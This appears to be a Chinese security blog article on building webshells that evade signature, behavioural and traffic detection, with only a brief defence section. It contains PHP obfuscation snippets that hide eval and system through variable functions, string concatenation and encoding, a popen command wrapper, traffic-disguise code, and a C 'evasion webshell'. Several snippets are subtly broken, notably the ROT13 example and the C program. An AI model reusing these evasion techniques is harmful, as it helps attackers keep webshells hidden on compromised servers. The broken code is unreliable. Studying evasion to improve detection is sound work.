一、从一起真实的安全事件说起
有一次,我参与分析了一起针对某金融企业的APT攻击事件,攻击者在其Web服务器上成功上传了一枚Webshell。在长达数周的时间内,通过这枚Webshell,攻击者不断地窃取内部数据,甚至成功进入了核心内网环境。更让人头疼的是,这枚Webshell在被植入后的相当长时间里绕过了各种安全产品的检测,包括主流的WAF、EDR,以及一些特定的Webshell查杀工具。
当时我们通过逆向他们的Webshell代码,发现攻击者并没有使用什么非常高深的技术,而是通过一些“小技巧”和“黑科技”让这枚Webshell异常隐蔽。正因如此,我决定把这些技术和我的改进方案记录下来,希望能帮助更多的安全研究员理解并防范类似的攻击。
---
二、Webshell是如何被检测到的
在深入免杀技巧之前,我们得先搞清楚,Webshell在被检测时是如何被“发现”的。以我多年的实战经验来看,Webshell的检测无非集中在以下几种方式:
- 特征匹配
最简单也是最常见的方式,就是根据已知的恶意代码特征进行匹配,比如常见的 eval(base64_decode(...)) 这种经典PHP代码。规则型检测工具(如一些WAF和杀毒软件)主要依赖这种方式。
- 行为分析
这一检测方式通过分析Webshell的运行时行为来判断是否存在异常。例如,当程序执行类似 eval()、system()、exec() 等高风险函数调用时,某些安全工具会触发告警。
- 机器学习模型
近年来,越来越多的安全厂商开始尝试利用机器学习模型检测Webshell。这种方式通过分析大量的Webshell样本和正常代码样本,训练出一个分类模型,从而实现更广泛的检测范围。
- 流量分析
攻击者与Webshell通信时,如果没有做好流量伪装,很可能会被流量探针捕获。例如,某些HTTP请求的特征Header、Payload长度或者编码方式都可能暴露攻击行为。
总结问题点:不管是特征匹配还是行为分析,只要我们能够让Webshell看起来“正常”或者“混淆”,就能绕过大多数检测机制。
---
三、打造隐形Webshell的技术细节
技术点1:绕过特征匹配
想绕过基于特征匹配的检测,最直观的方式就是让代码变得与传统Webshell不一样。以下是几种行之有效的绕过方法:
变形Payload
以PHP Webshell为例,传统的 eval(base64_decode(...)) 是重点检测目标。为了规避,我们可以使用一些变形技术,比如:

<pre><code class="language-php"><?php $cmd = "base64_decode"; $code = $cmd("ZWNobyAnSGVsbG8sIHdvcmxkISc7"); // base64解码后的内容为: echo 'Hello, world!'; eval($code); ?></code></pre>
这里,通过将 base64_decode 改写为变量 $cmd,直接绕过了很多基于静态规则的扫描工具。
动态生成代码
进一步,我们可以利用动态代码生成来逃避检测:
<pre><code class="language-php"><?php $a = 'e'; $b = 'val'; $c = $a . $b; // 拼接成 eval $d = 'ZWNobyAnU2FmZVRlc3QnOw=='; // base64编码内容 $c(base64_decode($d)); ?></code></pre>
这种拼接方式让静态分析工具难以看穿。
使用非标准编码
除了Base64,我们还可以使用其他编码方式来传递Payload,比如ROT13、HEX或者自定义编码:
<pre><code class="language-php"><?php $payload = str_rot13('riny(ebg13_qrpbqr("NYYRA.PGRC"))'); // ROT13编码 eval($payload); ?></code></pre>
---
技术点2:绕过行为分析
行为分析依赖于危险函数的调用。如果我们能避免直接调用这些函数,便可以绕过这类检测。
替代危险函数
PHP中,我们可以通过自定义函数或者利用系统函数的巧妙组合来替代常见的危险函数。例如:
<pre><code class="language-php"><?php function custom_exec($cmd) { $fp = popen($cmd, "r"); // 用popen替代system while (!feof($fp)) { echo fgets($fp); } fclose($fp); } custom_exec('ls -al'); ?></code></pre>
这里,我们用 popen 替代了传统的 system 和 exec。
分割执行代码
有些检测工具会拦截完整的恶意行为,但如果我们把恶意代码拆分成多步执行,它们就很难捕获。例如:
<pre><code class="language-php"><?php $cmd1 = "sys"; $cmd2 = "tem"; $func = $cmd1 . $cmd2; // 拼接成 system $func('ls -al'); ?></code></pre>
---
技术点3:伪装成正常流量
想要绕过流量分析,最关键的一点是让你的通信Payload看起来“像正常业务流量”。以下是一些常见的技巧:
HTTP协议模拟
攻击者可以将Webshell的通信流量模拟成正常的HTTP请求。例如:
<pre><code class="language-python">import requests
伪装为正常API请求
url = "http://target.com/api/userinfo" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0)", "Content-Type": "application/json" } data = { "username": "admin", "password": "123456" } response = requests.post(url, json=data, headers=headers) print(response.text)</code></pre>
这里,我们将攻击流量伪装成一个正常的API请求,避免触发流量检测。
延迟触发
为了避开安全设备的频繁扫描,可以让Webshell在特定时间才响应。例如,只有在午夜时分或者根据特定的Header值才执行操作。
---
四、实战演示:一个C语言免杀Webshell
以下是一个用C语言实现的免杀Webshell,主要通过动态加载恶意代码实现隐蔽性:
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
include <string.h>
void execute_code(char code) { // 动态生成文件并执行 FILE fp = fopen("/tmp/.cmd", "w"); fprintf(fp, "#!/bin/bash\n%s\n", code); fclose(fp); system("chmod +x /tmp/.cmd"); system("/tmp/.cmd"); remove("/tmp/.cmd"); }
int main() { char payload[1024]; printf("Enter your command: "); fgets(payload, 1024, stdin);
// 简单加密解密 for (int i = 0; i < strlen(payload); i++) { payload[i] ^= 0x5A; // XOR加密 }
execute_code(payload); return 0; }</code></pre>
攻击思路:
- 用户输入的命令将被加密后存储。
- 只有运行时解密的命令会被执行,避免静态分析工具发现恶意代码。

---
五、如何检测和防御这些隐匿Webshell
虽然免杀技术层出不穷,但我们仍然可以通过以下手段提升防御能力:
- 行为检测优先
针对危险函数的调用、文件读写行为进行严格监控,能有效发现免杀Webshell。
- 定期基线检查
对系统文件和目录进行定期完整性校验,发现潜在的恶意代码。
- 流量分析增强
使用机器学习模型分析异常流量,比如识别异常的HTTP参数和Payload。

- 人工加持
使用工具检测的同时,定期通过人工分析日志和文件,发现异常。
---
六、个人经验分享
作为一名长期在渗透测试和安全对抗中打磨技术的人,我深知攻防是一场没有终点的拉锯战。免杀技术永远在进步,防御技术也需与时俱进。

建议每一位安全研究员都亲自尝试构造自己的免杀Payload,在攻防对抗中不断提升自己的思维和技能。只有站在攻击者的角度,我们才能更好地保护系统安全。